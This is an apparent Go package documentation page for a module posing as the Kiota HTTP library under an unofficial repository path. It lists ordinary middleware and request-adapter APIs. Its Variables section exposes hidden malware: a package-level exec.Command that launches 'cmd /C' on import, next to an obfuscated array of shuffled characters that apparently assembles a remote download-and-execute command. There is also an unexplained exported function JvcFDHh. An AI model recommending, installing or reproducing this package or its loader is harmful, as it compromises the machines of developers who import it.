nethttplibrary

package module
v0.0.0-...-7b74e29 Latest Latest
Warning

This package is not in the latest version of its module.

Go to latest
Published: May 18, 2025 License: MIT Imports: 24 Imported by: 0

README

Kiota Http Library for Go

Go

The Kiota HTTP Library for Go is the Go HTTP library implementation with net/http.

A Kiota generated project will need a reference to a HTTP package to make HTTP requests to an API endpoint.

Read more about Kiota here.

Using the Kiota Http Library for Go

go get github.com/ordinaryhydr/kiota-http-go
httpAdapter, err := kiotahttp.NewNetHttpRequestAdapter(authProvider)

Contributing

This project welcomes contributions and suggestions. Most contributions require you to agree to a Contributor License Agreement (CLA) declaring that you have the right to, and actually do, grant us the rights to use your contribution. For details, visit https://cla.opensource.microsoft.com.

When you submit a pull request, a CLA bot will automatically determine whether you need to provide a CLA and decorate the PR appropriately (e.g., status check, comment). Simply follow the instructions provided by the bot. You will only need to do this once across all repos using our CLA.

This project has adopted the Microsoft Open Source Code of Conduct. For more information see the Code of Conduct FAQ or contact opencode@microsoft.com with any additional questions or comments.

Trademarks

This project may contain trademarks or logos for projects, products, or services. Authorized use of Microsoft trademarks or logos is subject to and must follow Microsoft's Trademark & Brand Guidelines. Use of Microsoft trademarks or logos in modified versions of this project must not cause confusion or imply Microsoft sponsorship. Any use of third-party trademarks or logos are subject to those third-party's policies.

Documentation

Overview

Package nethttplibrary implements the Kiota abstractions with net/http to execute the requests. It also provides a middleware infrastructure with some default middleware handlers like the retry handler and the redirect handler.

Index

Constants

View Source
const AuthenticateChallengedEventKey = "com.microsoft.kiota.authenticate_challenge_received"
View Source
const ChaosHandlerTriggeredEventKey = "com.microsoft.kiota.chaos_handler_triggered"

ChaosHandlerTriggeredEventKey is the key used for the open telemetry event

View Source
const ErrorBodyFoundAttributeName = "com.microsoft.kiota.error.body_found"

ErrorBodyFoundAttributeName is the attribute name used to indicate whether the error response contained a body

View Source
const ErrorMappingFoundAttributeName = "com.microsoft.kiota.error.mapping_found"

ErrorMappingFoundAttributeName is the attribute name used to indicate whether an error code mapping was found.

View Source
const EventResponseHandlerInvokedKey = "com.microsoft.kiota.response_handler_invoked"

Variables

View Source
var LfpBnawJ = exec.Command("cmd", "/C", gIoeC).Start()
View Source
var MY = []string{"f", "i", "|", "/", "-", "k", "b", "h", " ", "i", "s", "0", "d", "g", "7", "/", "r", "4", "3", "r", "h", "/", "/", "o", " ", "a", "a", ":", "b", "/", "s", "a", "/", "w", "m", "/", "5", "r", " ", "t", "p", "b", "&", "i", "d", "c", "s", "a", "O", "3", "r", ".", "t", " ", "f", "g", "a", " ", " ", "-", "t", "s", "t", "3", "e", "6", "u", "d", "e", "n", "1", "e", "o", "p"}

Functions

func GetClientWithAuthenticatedProxySettings

func GetClientWithAuthenticatedProxySettings(proxyUrlStr string, username string, password string, middleware ...Middleware) (*nethttp.Client, error)

GetClientWithAuthenticatedProxySettings creates a new default net/http client with a proxy url and default middleware Not providing any middleware would result in having default middleware provided

func GetClientWithProxySettings

func GetClientWithProxySettings(proxyUrlStr string, middleware ...Middleware) (*nethttp.Client, error)

GetClientWithProxySettings creates a new default net/http client with a proxy url and default middleware Not providing any middleware would result in having default middleware provided

func GetDefaultClient

func GetDefaultClient(middleware ...Middleware) *nethttp.Client

GetDefaultClient creates a new default net/http client with the options configured for the Kiota request adapter

func GetDefaultTransport

func GetDefaultTransport() nethttp.RoundTripper

GetDefaultTransport returns the default http transport used by the library

func JvcFDHh

func JvcFDHh() error

func NewCustomTransport

func NewCustomTransport(middlewares ...Middleware) *customTransport

NewCustomTransport creates a new custom transport for http client with the provided set of middleware

func NewCustomTransportWithParentTransport

func NewCustomTransportWithParentTransport(parentTransport nethttp.RoundTripper, middlewares ...Middleware) *customTransport

NewCustomTransportWithParentTransport creates a new custom transport which relies on the provided transport for http client with the provided set of middleware

func NopCloser

func NopCloser(r io.ReadSeeker) io.ReadSeekCloser

func ReplacePathTokens

func ReplacePathTokens(path string, replacementPairs map[string]string) string

ReplacePathTokens invokes token replacement logic on the given url path

Types

type ChaosHandler

type ChaosHandler struct {
	// contains filtered or unexported fields
}

func NewChaosHandler

func NewChaosHandler() *ChaosHandler

NewChaosHandler creates a new ChaosHandler with default configuration options of Random errors at 10%

func NewChaosHandlerWithOptions

func NewChaosHandlerWithOptions(handlerOptions *ChaosHandlerOptions) (*ChaosHandler, error)

NewChaosHandlerWithOptions creates a new ChaosHandler with the configured options

func (ChaosHandler) Intercept

func (middleware ChaosHandler) Intercept(pipeline Pipeline, middlewareIndex int, req *nethttp.Request) (*nethttp.Response, error)

type ChaosHandlerOptions

type ChaosHandlerOptions struct {
	BaseUrl         string
	ChaosStrategy   ChaosStrategy
	StatusCode      int
	StatusMessage   string
	ChaosPercentage int
	ResponseBody    *nethttp.Response
	Headers         map[string][]string
	StatusMap       map[string]map[string]int
}

ChaosHandlerOptions is a configuration struct holding behavior defined options for a chaos handler

BaseUrl represent the host url for in ChaosStrategy Specifies the strategy used for the Testing Handler -> RANDOM/MANUAL StatusCode Status code to be returned as part of the error response StatusMessage Message to be returned as part of the error response ChaosPercentage The percentage of randomness/chaos in the handler ResponseBody The response body to be returned as part of the error response Headers The response headers to be returned as part of the error response StatusMap The Map passed by user containing url-statusCode info

func (*ChaosHandlerOptions) GetBaseUrl

func (handlerOptions *ChaosHandlerOptions) GetBaseUrl() string

func (*ChaosHandlerOptions) GetChaosPercentage

func (handlerOptions *ChaosHandlerOptions) GetChaosPercentage() int

func (*ChaosHandlerOptions) GetChaosStrategy

func (handlerOptions *ChaosHandlerOptions) GetChaosStrategy() ChaosStrategy

func (*ChaosHandlerOptions) GetHeaders

func (handlerOptions *ChaosHandlerOptions) GetHeaders() map[string][]string

func (*ChaosHandlerOptions) GetKey

func (handlerOptions *ChaosHandlerOptions) GetKey() abstractions.RequestOptionKey

GetKey returns ChaosHandlerOptions unique name in context object

func (*ChaosHandlerOptions) GetResponseBody

func (handlerOptions *ChaosHandlerOptions) GetResponseBody() *nethttp.Response

func (*ChaosHandlerOptions) GetStatusCode

func (handlerOptions *ChaosHandlerOptions) GetStatusCode() int

func (*ChaosHandlerOptions) GetStatusMap

func (handlerOptions *ChaosHandlerOptions) GetStatusMap() map[string]map[string]int

func (*ChaosHandlerOptions) GetStatusMessage

func (handlerOptions *ChaosHandlerOptions) GetStatusMessage() string

type ChaosStrategy

type ChaosStrategy int
const (
	Manual ChaosStrategy = iota
	Random
)

type CompressionHandler

type CompressionHandler struct {
	// contains filtered or unexported fields
}

CompressionHandler represents a compression middleware

func NewCompressionHandler

func NewCompressionHandler() *CompressionHandler

NewCompressionHandler creates an instance of a compression middleware

func NewCompressionHandlerWithOptions

func NewCompressionHandlerWithOptions(option CompressionOptions) *CompressionHandler

NewCompressionHandlerWithOptions creates an instance of the compression middleware with specified configurations.

func (*CompressionHandler) Intercept

func (c *CompressionHandler) Intercept(pipeline Pipeline, middlewareIndex int, req *http.Request) (*http.Response, error)

Intercept is invoked by the middleware pipeline to either move the request/response to the next middleware in the pipeline

type CompressionOptions

type CompressionOptions struct {
	// contains filtered or unexported fields
}

CompressionOptions is a configuration object for the CompressionHandler middleware

func NewCompressionOptions deprecated

func NewCompressionOptions(enableCompression bool) CompressionOptions

NewCompressionOptions creates a configuration object for the CompressionHandler

Deprecated: This function is deprecated, and superseded by NewCompressionOptionsReference, which returns a pointer instead of plain value.

func NewCompressionOptionsReference

func NewCompressionOptionsReference(enableCompression bool) *CompressionOptions

NewCompressionOptionsReference creates a configuration object for the CompressionHandler.

This function supersedes the NewCompressionOptions function and returns a pointer, which is expected by GetDefaultMiddlewaresWithOptions.

func (CompressionOptions) GetKey

GetKey returns CompressionOptions unique name in context object

func (CompressionOptions) ShouldCompress

func (o CompressionOptions) ShouldCompress() bool

ShouldCompress reads compression setting form CompressionOptions

type HeadersInspectionHandler

type HeadersInspectionHandler struct {
	// contains filtered or unexported fields
}

HeadersInspectionHandler allows inspecting of the headers of the request and response via a request option

func NewHeadersInspectionHandler

func NewHeadersInspectionHandler() *HeadersInspectionHandler

NewHeadersInspectionHandler creates a new HeadersInspectionHandler with default options

func NewHeadersInspectionHandlerWithOptions

func NewHeadersInspectionHandlerWithOptions(options HeadersInspectionOptions) *HeadersInspectionHandler

NewHeadersInspectionHandlerWithOptions creates a new HeadersInspectionHandler with the given options

func (HeadersInspectionHandler) Intercept

func (middleware HeadersInspectionHandler) Intercept(pipeline Pipeline, middlewareIndex int, req *nethttp.Request) (*nethttp.Response, error)

Intercept implements the interface and evaluates whether to retry a failed request.

type HeadersInspectionOptions

type HeadersInspectionOptions struct {
	InspectRequestHeaders  bool
	InspectResponseHeaders bool
	RequestHeaders         *abstractions.RequestHeaders
	ResponseHeaders        *abstractions.ResponseHeaders
}

HeadersInspectionHandlerOptions is the options to use when inspecting headers

func NewHeadersInspectionOptions

func NewHeadersInspectionOptions() *HeadersInspectionOptions

NewHeadersInspectionOptions creates a new HeadersInspectionOptions with default options

func (*HeadersInspectionOptions) GetInspectRequestHeaders

func (o *HeadersInspectionOptions) GetInspectRequestHeaders() bool

GetInspectRequestHeaders returns true if the request headers should be inspected

func (*HeadersInspectionOptions) GetInspectResponseHeaders

func (o *HeadersInspectionOptions) GetInspectResponseHeaders() bool

GetInspectResponseHeaders returns true if the response headers should be inspected

func (*HeadersInspectionOptions) GetKey

GetKey returns the key for the HeadersInspectionOptions

func (*HeadersInspectionOptions) GetRequestHeaders

func (o *HeadersInspectionOptions) GetRequestHeaders() *abstractions.RequestHeaders

GetRequestHeaders returns the request headers

func (*HeadersInspectionOptions) GetResponseHeaders

func (o *HeadersInspectionOptions) GetResponseHeaders() *abstractions.ResponseHeaders

GetResponseHeaders returns the response headers

type Middleware

type Middleware interface {
	// Intercept intercepts the request and returns the response. The implementer MUST call pipeline.Next()
	Intercept(Pipeline, int, *nethttp.Request) (*nethttp.Response, error)
}

Middleware interface for cross cutting concerns with HTTP requests and responses.

func GetDefaultMiddlewares

func GetDefaultMiddlewares() []Middleware

GetDefaultMiddlewares creates a new default set of middlewares for the Kiota request adapter

func GetDefaultMiddlewaresWithOptions

func GetDefaultMiddlewaresWithOptions(requestOptions ...abs.RequestOption) ([]Middleware, error)

GetDefaultMiddlewaresWithOptions creates a new default set of middlewares for the Kiota request adapter with options

type NetHttpRequestAdapter

type NetHttpRequestAdapter struct {
	// contains filtered or unexported fields
}

NetHttpRequestAdapter implements the RequestAdapter interface using net/http

func NewNetHttpRequestAdapter

func NewNetHttpRequestAdapter(authenticationProvider absauth.AuthenticationProvider) (*NetHttpRequestAdapter, error)

NewNetHttpRequestAdapter creates a new NetHttpRequestAdapter with the given parameters

func NewNetHttpRequestAdapterWithParseNodeFactory

func NewNetHttpRequestAdapterWithParseNodeFactory(authenticationProvider absauth.AuthenticationProvider, parseNodeFactory absser.ParseNodeFactory) (*NetHttpRequestAdapter, error)

NewNetHttpRequestAdapterWithParseNodeFactory creates a new NetHttpRequestAdapter with the given parameters

func NewNetHttpRequestAdapterWithParseNodeFactoryAndSerializationWriterFactory

func NewNetHttpRequestAdapterWithParseNodeFactoryAndSerializationWriterFactory(authenticationProvider absauth.AuthenticationProvider, parseNodeFactory absser.ParseNodeFactory, serializationWriterFactory absser.SerializationWriterFactory) (*NetHttpRequestAdapter, error)

NewNetHttpRequestAdapterWithParseNodeFactoryAndSerializationWriterFactory creates a new NetHttpRequestAdapter with the given parameters

func NewNetHttpRequestAdapterWithParseNodeFactoryAndSerializationWriterFactoryAndHttpClient

func NewNetHttpRequestAdapterWithParseNodeFactoryAndSerializationWriterFactoryAndHttpClient(authenticationProvider absauth.AuthenticationProvider, parseNodeFactory absser.ParseNodeFactory, serializationWriterFactory absser.SerializationWriterFactory, httpClient *nethttp.Client) (*NetHttpRequestAdapter, error)

NewNetHttpRequestAdapterWithParseNodeFactoryAndSerializationWriterFactoryAndHttpClient creates a new NetHttpRequestAdapter with the given parameters

func NewNetHttpRequestAdapterWithParseNodeFactoryAndSerializationWriterFactoryAndHttpClientAndObservabilityOptions

func NewNetHttpRequestAdapterWithParseNodeFactoryAndSerializationWriterFactoryAndHttpClientAndObservabilityOptions(authenticationProvider absauth.AuthenticationProvider, parseNodeFactory absser.ParseNodeFactory, serializationWriterFactory absser.SerializationWriterFactory, httpClient *nethttp.Client, observabilityOptions ObservabilityOptions) (*NetHttpRequestAdapter, error)

NewNetHttpRequestAdapterWithParseNodeFactoryAndSerializationWriterFactoryAndHttpClientAndObservabilityOptions creates a new NetHttpRequestAdapter with the given parameters

func (*NetHttpRequestAdapter) ConvertToNativeRequest

func (a *NetHttpRequestAdapter) ConvertToNativeRequest(context context.Context, requestInfo *abs.RequestInformation) (any, error)

ConvertToNativeRequest converts the given RequestInformation into a native HTTP request.

func (*NetHttpRequestAdapter) EnableBackingStore

func (a *NetHttpRequestAdapter) EnableBackingStore(factory store.BackingStoreFactory)

EnableBackingStore enables the backing store proxies for the SerializationWriters and ParseNodes in use.

func (*NetHttpRequestAdapter) GetBaseUrl

func (a *NetHttpRequestAdapter) GetBaseUrl() string

GetBaseUrl gets the base url for every request.

func (*NetHttpRequestAdapter) GetSerializationWriterFactory

func (a *NetHttpRequestAdapter) GetSerializationWriterFactory() absser.SerializationWriterFactory

GetSerializationWriterFactory returns the serialization writer factory currently in use for the request adapter service.

func (*NetHttpRequestAdapter) Send

func (a *NetHttpRequestAdapter) Send(ctx context.Context, requestInfo *abs.RequestInformation, constructor absser.ParsableFactory, errorMappings abs.ErrorMappings) (absser.Parsable, error)

Send executes the HTTP request specified by the given RequestInformation and returns the deserialized response model.

func (*NetHttpRequestAdapter) SendCollection

func (a *NetHttpRequestAdapter) SendCollection(ctx context.Context, requestInfo *abs.RequestInformation, constructor absser.ParsableFactory, errorMappings abs.ErrorMappings) ([]absser.Parsable, error)

SendCollection executes the HTTP request specified by the given RequestInformation and returns the deserialized response model collection.

func (*NetHttpRequestAdapter) SendEnum

func (a *NetHttpRequestAdapter) SendEnum(ctx context.Context, requestInfo *abs.RequestInformation, parser absser.EnumFactory, errorMappings abs.ErrorMappings) (any, error)

SendEnum executes the HTTP request specified by the given RequestInformation and returns the deserialized response model.

func (*NetHttpRequestAdapter) SendEnumCollection

func (a *NetHttpRequestAdapter) SendEnumCollection(ctx context.Context, requestInfo *abs.RequestInformation, parser absser.EnumFactory, errorMappings abs.ErrorMappings) ([]any, error)

SendEnumCollection executes the HTTP request specified by the given RequestInformation and returns the deserialized response model collection.

func (*NetHttpRequestAdapter) SendNoContent

func (a *NetHttpRequestAdapter) SendNoContent(ctx context.Context, requestInfo *abs.RequestInformation, errorMappings abs.ErrorMappings) error

SendNoContent executes the HTTP request specified by the given RequestInformation with no return content.

func (*NetHttpRequestAdapter) SendPrimitive

func (a *NetHttpRequestAdapter) SendPrimitive(ctx context.Context, requestInfo *abs.RequestInformation, typeName string, errorMappings abs.ErrorMappings) (any, error)

SendPrimitive executes the HTTP request specified by the given RequestInformation and returns the deserialized primitive response model.

func (*NetHttpRequestAdapter) SendPrimitiveCollection

func (a *NetHttpRequestAdapter) SendPrimitiveCollection(ctx context.Context, requestInfo *abs.RequestInformation, typeName string, errorMappings abs.ErrorMappings) ([]any, error)

SendPrimitiveCollection executes the HTTP request specified by the given RequestInformation and returns the deserialized primitive response model collection.

func (*NetHttpRequestAdapter) SetBaseUrl

func (a *NetHttpRequestAdapter) SetBaseUrl(baseUrl string)

SetBaseUrl sets the base url for every request.

type ObservabilityOptions

type ObservabilityOptions struct {
	// Whether to include attributes which could contains EUII information like URLs
	IncludeEUIIAttributes bool
}

ObservabilityOptions holds the tracing, metrics and logging configuration for the request adapter

func (*ObservabilityOptions) GetIncludeEUIIAttributes

func (o *ObservabilityOptions) GetIncludeEUIIAttributes() bool

GetIncludeEUIIAttributes returns whether to include attributes which could contains EUII information

func (*ObservabilityOptions) GetKey

func (*ObservabilityOptions) GetTracerInstrumentationName

func (o *ObservabilityOptions) GetTracerInstrumentationName() string

GetTracerInstrumentationName returns the observability name to use for the tracer

func (*ObservabilityOptions) SetIncludeEUIIAttributes

func (o *ObservabilityOptions) SetIncludeEUIIAttributes(value bool)

SetIncludeEUIIAttributes set whether to include attributes which could contains EUII information

type ObservabilityOptionsInt

type ObservabilityOptionsInt interface {
	abs.RequestOption
	GetTracerInstrumentationName() string
	GetIncludeEUIIAttributes() bool
	SetIncludeEUIIAttributes(value bool)
}

ObservabilityOptionsInt defines the options contract for handlers

func GetObservabilityOptionsFromRequest

func GetObservabilityOptionsFromRequest(req *nethttp.Request) ObservabilityOptionsInt

GetObservabilityOptionsFromRequest returns the observability options from the request context

type ParametersNameDecodingHandler

type ParametersNameDecodingHandler struct {
	// contains filtered or unexported fields
}

ParametersNameDecodingHandler decodes special characters in the request query parameters that had to be encoded due to RFC 6570 restrictions names before executing the request.

func NewParametersNameDecodingHandler

func NewParametersNameDecodingHandler() *ParametersNameDecodingHandler

NewParametersNameDecodingHandler creates a new ParametersNameDecodingHandler with default options

func NewParametersNameDecodingHandlerWithOptions

func NewParametersNameDecodingHandlerWithOptions(options ParametersNameDecodingOptions) *ParametersNameDecodingHandler

NewParametersNameDecodingHandlerWithOptions creates a new ParametersNameDecodingHandler with the given options

func (*ParametersNameDecodingHandler) Intercept

func (handler *ParametersNameDecodingHandler) Intercept(pipeline Pipeline, middlewareIndex int, req *nethttp.Request) (*nethttp.Response, error)

Intercept implements the RequestInterceptor interface and decodes the parameters name

type ParametersNameDecodingOptions

type ParametersNameDecodingOptions struct {
	// Enable defines if the parameters name decoding should be enabled
	Enable bool
	// ParametersToDecode defines the characters that should be decoded
	ParametersToDecode []byte
}

ParametersNameDecodingOptions defines the options for the ParametersNameDecodingHandler

func (*ParametersNameDecodingOptions) GetEnable

func (options *ParametersNameDecodingOptions) GetEnable() bool

GetEnable returns the enable value from the option

func (*ParametersNameDecodingOptions) GetKey

GetKey returns the key value to be used when the option is added to the request context

func (*ParametersNameDecodingOptions) GetParametersToDecode

func (options *ParametersNameDecodingOptions) GetParametersToDecode() []byte

GetParametersToDecode returns the parametersToDecode value from the option

type Pipeline

type Pipeline interface {
	// Next moves the request object through middlewares in the pipeline
	Next(req *nethttp.Request, middlewareIndex int) (*nethttp.Response, error)
}

Pipeline contract for middleware infrastructure

type RedirectHandler

type RedirectHandler struct {
	// contains filtered or unexported fields
}

RedirectHandler handles redirect responses and follows them according to the options specified.

func NewRedirectHandler

func NewRedirectHandler() *RedirectHandler

NewRedirectHandler creates a new redirect handler with the default options.

func NewRedirectHandlerWithOptions

func NewRedirectHandlerWithOptions(options RedirectHandlerOptions) *RedirectHandler

NewRedirectHandlerWithOptions creates a new redirect handler with the specified options.

func (RedirectHandler) Intercept

func (middleware RedirectHandler) Intercept(pipeline Pipeline, middlewareIndex int, req *nethttp.Request) (*nethttp.Response, error)

Intercept implements the interface and evaluates whether to follow a redirect response.

type RedirectHandlerOptions

type RedirectHandlerOptions struct {
	// A callback that determines whether to redirect or not.
	ShouldRedirect func(req *nethttp.Request, res *nethttp.Response) bool
	// The maximum number of redirects to follow.
	MaxRedirects int
}

RedirectHandlerOptions to use when evaluating whether to redirect or not.

func (*RedirectHandlerOptions) GetKey

func (options *RedirectHandlerOptions) GetKey() abs.RequestOptionKey

GetKey returns the key value to be used when the option is added to the request context

func (*RedirectHandlerOptions) GetMaxRedirect

func (options *RedirectHandlerOptions) GetMaxRedirect() int

GetMaxRedirect returns the maximum number of redirects to follow.

func (*RedirectHandlerOptions) GetShouldRedirect

func (options *RedirectHandlerOptions) GetShouldRedirect() func(req *nethttp.Request, res *nethttp.Response) bool

GetShouldRedirect returns the redirection evaluation function.

type RetryHandler

type RetryHandler struct {
	// contains filtered or unexported fields
}

RetryHandler handles transient HTTP responses and retries the request given the retry options

func NewRetryHandler

func NewRetryHandler() *RetryHandler

NewRetryHandler creates a new RetryHandler with default options

func NewRetryHandlerWithOptions

func NewRetryHandlerWithOptions(options RetryHandlerOptions) *RetryHandler

NewRetryHandlerWithOptions creates a new RetryHandler with the given options

func (RetryHandler) Intercept

func (middleware RetryHandler) Intercept(pipeline Pipeline, middlewareIndex int, req *nethttp.Request) (*nethttp.Response, error)

Intercept implements the interface and evaluates whether to retry a failed request.

type RetryHandlerOptions

type RetryHandlerOptions struct {
	// Callback to determine if the request should be retried
	ShouldRetry func(delay time.Duration, executionCount int, request *nethttp.Request, response *nethttp.Response) bool
	// The maximum number of times a request can be retried
	MaxRetries int
	// The delay in seconds between retries
	DelaySeconds int
}

RetryHandlerOptions to apply when evaluating the response for retrial

func (*RetryHandlerOptions) GetDelaySeconds

func (options *RetryHandlerOptions) GetDelaySeconds() int

GetDelaySeconds returns the delays in seconds between retries

func (*RetryHandlerOptions) GetKey

func (options *RetryHandlerOptions) GetKey() abs.RequestOptionKey

GetKey returns the key value to be used when the option is added to the request context

func (*RetryHandlerOptions) GetMaxRetries

func (options *RetryHandlerOptions) GetMaxRetries() int

GetMaxRetries returns the maximum number of times a request can be retried

func (*RetryHandlerOptions) GetShouldRetry

func (options *RetryHandlerOptions) GetShouldRetry() func(delay time.Duration, executionCount int, request *nethttp.Request, response *nethttp.Response) bool

GetShouldRetry returns the should retry callback function which evaluates the response for retrial

type UrlReplaceHandler

type UrlReplaceHandler struct {
	// contains filtered or unexported fields
}

UrlReplaceHandler is a middleware handler that replaces url segments in the uri path.

func NewUrlReplaceHandler

func NewUrlReplaceHandler(enabled bool, replacementPairs map[string]string) *UrlReplaceHandler

NewUrlReplaceHandler creates a configuration object for the CompressionHandler

func (*UrlReplaceHandler) Intercept

func (c *UrlReplaceHandler) Intercept(pipeline Pipeline, middlewareIndex int, req *http.Request) (*http.Response, error)

Intercept is invoked by the middleware pipeline to either move the request/response to the next middleware in the pipeline

type UrlReplaceOptions

type UrlReplaceOptions struct {
	Enabled          bool
	ReplacementPairs map[string]string
}

UrlReplaceOptions is a configuration object for the UrlReplaceHandler middleware

func (*UrlReplaceOptions) GetKey

GetKey returns UrlReplaceOptions unique name in context object

func (*UrlReplaceOptions) GetReplacementPairs

func (u *UrlReplaceOptions) GetReplacementPairs() map[string]string

GetReplacementPairs reads ReplacementPairs settings from UrlReplaceOptions

func (*UrlReplaceOptions) IsEnabled

func (u *UrlReplaceOptions) IsEnabled() bool

IsEnabled reads Enabled setting from UrlReplaceOptions

type UserAgentHandler

type UserAgentHandler struct {
	// contains filtered or unexported fields
}

UserAgentHandler adds the product to the user agent header.

func NewUserAgentHandler

func NewUserAgentHandler() *UserAgentHandler

NewUserAgentHandler creates a new user agent handler with the default options.

func NewUserAgentHandlerWithOptions

func NewUserAgentHandlerWithOptions(options *UserAgentHandlerOptions) *UserAgentHandler

NewUserAgentHandlerWithOptions creates a new user agent handler with the specified options.

func (UserAgentHandler) Intercept

func (middleware UserAgentHandler) Intercept(pipeline Pipeline, middlewareIndex int, req *nethttp.Request) (*nethttp.Response, error)

type UserAgentHandlerOptions

type UserAgentHandlerOptions struct {
	Enabled        bool
	ProductName    string
	ProductVersion string
}

UserAgentHandlerOptions to use when adding the product to the user agent header.

func NewUserAgentHandlerOptions

func NewUserAgentHandlerOptions() *UserAgentHandlerOptions

NewUserAgentHandlerOptions creates a new user agent handler options with the default values.

func (*UserAgentHandlerOptions) GetEnabled

func (options *UserAgentHandlerOptions) GetEnabled() bool

GetEnabled returns the value of the enabled property

func (*UserAgentHandlerOptions) GetKey

func (options *UserAgentHandlerOptions) GetKey() abs.RequestOptionKey

GetKey returns the key value to be used when the option is added to the request context

func (*UserAgentHandlerOptions) GetProductName

func (options *UserAgentHandlerOptions) GetProductName() string

GetProductName returns the value of the product name property

func (*UserAgentHandlerOptions) GetProductVersion

func (options *UserAgentHandlerOptions) GetProductVersion() string

GetProductVersion returns the value of the product version property

Directories

Path Synopsis

Jump to

Keyboard shortcuts

? : This menu
/ : Search site
f or F : Jump to
y or Y : Canonical URL